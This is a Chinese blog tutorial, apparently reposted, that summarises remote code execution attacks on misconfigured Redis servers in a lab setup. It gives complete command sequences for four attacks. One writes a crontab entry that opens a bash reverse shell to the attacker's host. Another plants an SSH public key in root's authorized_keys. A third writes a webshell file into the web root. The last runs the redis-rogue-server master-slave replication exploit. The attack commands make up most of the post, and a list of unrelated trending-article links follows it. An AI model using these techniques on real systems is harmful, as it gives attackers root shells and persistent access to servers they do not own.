Redis进行RCE利用总结
创始人
2024-01-20 08:08:39
0

https://www.cnblogs.com/loongten/p/15838580.html

0x00 简要说明

百度百科:Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可导致攻击者直接获取到服务器的权限。

  • 利用条件:redis以root身份运行,未授权访问,弱口令或者口令泄露等

环境准备:

测试环境IP
Kali192.168.100.99
靶机(CentOS 7)192.168.100.101

0x01 CentOS 7安装Redis

# 安装gcc
[root@localhost ~]# yum install -y gcc

# 下载解压redis安装包
[root@localhost ~]# wget http://download.redis.io/releases/redis-5.0.0.tar.gz
[root@localhost ~]# tar xvf redis-5.0.0.tar.gz

# 编译并执行安装,指定安装目录为/usr/local/redis
[root@localhost ~]# cd redis-5.0.0/
[root@localhost redis-5.0.0]#  make && make install PREFIX=/usr/local/redis

# 启动redis服务并保持后台运行
[root@localhost redis-5.0.0]#  cd /usr/local/redis/bin/
[root@localhost bin]# ./redis-server &

# 关闭保护模式
[root@localhost bin]# ./redis-cli 
127.0.0.1:6379> config set protected-mode no

0x02 通过计划任务反弹shell

利用条件:

  • redis以root身份运行
  • 未授权访问或授权口令已知

在kali中通过redis-cli -h 192.168.100.101 -p 6379连接到redis,输入以下指令利用crontab反弹shell

# cron表达式格式:{秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 命令
# 每分钟执行一次echo "haha":* * * * * echo "haha"
192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n"

# 设置目录为/var/spool/cron/
192.168.100.101:6379> config set dir /var/spool/cron/

# 设置文件名为root
192.168.100.101:6379> config set dbfilename root

# 保存快照到本地
192.168.100.101:6379> save

kali中打开一个新的命令行窗口执行nc -lvnp 4444进行监听,过一会儿就能接收到反弹回来的shell:

由于redis的压缩储存机制,在某些情况下会因为反弹shell的指令被压缩,从而导致反弹shell失败:

192.168.100.101:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.100/4444 0>&1\n"
192.168.100.101:6379> save

[root@localhost ~]# cat /var/spool/cron/root

  • �bash -i &> /dev/tcp/192.168.100@/4 0>&1

192.168.100.101:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.100.99/4444 0>&1\n”
192.168.100.101:6379> save

[root@localhost ~]# cat /var/spool/cron/root

          • bash -i &> /dev/tcp/192.168.100.99/4444 0>&1

当运行redis的用户为普通用户时,会无法出现切换目录失败的情况:

config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied

0x03 通过SSH公钥远程连接

利用条件:

  • redis以root身份运行
  • 未授权访问或授权口令已知
  • 服务器开放SSH服务且允许密钥登录

在kali中使用ssh-keygen -t rsa生成密钥:

将生成的公钥文件保存到本地:

┌──(root💀kali)-[/home/kali]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali

将文件写入redis进行利用:

# 将上一步生成的kali文件写入redis并设置键的值为kali
┌──(root💀kali)-[/home/kali]
└─# cat kali | redis-cli -h 192.168.100.101 -p 6379 -x set kali

# 连接redis,并将公钥文件写入/root/.ssh/authorized_keys中
┌──(root💀kali)-[/home/kali]
└─# redis-cli -h 192.168.100.101 -p 6379
192.168.100.101:6379> config set dir /root/.ssh/
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save

# 使用密钥进行登录
┌──(root💀kali)-[/home/kali]
└─# ssh -i /root/.ssh/id_rsa root@192.168.100.101

0x04 通过文件写入获取webshell

利用条件:

  • 未授权访问或授权口令已知
  • 服务器开着WEB服务且WEB目录路径已知

倘若服务器运行着LAMP/LNMP服务,且已知工作目录为/var/www/html/,可通过以下指令写入webshell,或参考写入SSH公钥的过程写入木马文件:

config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save

0x05 通过主从复制获取shell

利用条件:

  • 未授权访问或授权口令已知
  • Redis <=5.0.5

参考地址:https://github.com/n0b0dyCN/redis-rogue-server

使用方法:

python3 redis-rogue-server.py --rhost  --rport  --lhost  --lport 

参数说明:

  • --rpasswd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码
  • --rhost 目标redis服务IP
  • --rport 目标redis服务端口,默认为6379
  • --lhost vps的IP地址
  • --lport vps的端口,默认为21000
┌──(root💀kali)-[/home/kali]
└─# git clone https://github.com/n0b0dyCN/redis-rogue-server.git

┌──(root💀kali)-[/home/kali]
└─# cd redis-rogue-server

┌──(root💀kali)-[/home/kali]
└─# python3 redis-rogue-server.py --rhost 192.168.100.101 --lhost 192.168.100.99


__EOF__

  • 本文作者: Loongten
  • 本文链接: https://www.cnblogs.com/loongten/p/15838580.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。
分类: 渗透测试, 漏洞复现 标签: 渗透测试
好文要顶推荐该文 关注我关注博主关注博主 收藏该文收藏本文 分享微博 分享微信 Loongten
粉丝 - 0 关注 - 0
+加关注 0 0
posted @ 2022-01-24 10:55  Loongten  阅读(567)  评论(0)  编辑  收藏  举报

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
一帆风顺二龙腾飞三阳开泰祝福语... 本篇文章极速百科给大家谈谈一帆风顺二龙腾飞三阳开泰祝福语,以及一帆风顺二龙腾飞三阳开泰祝福语结婚对应...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...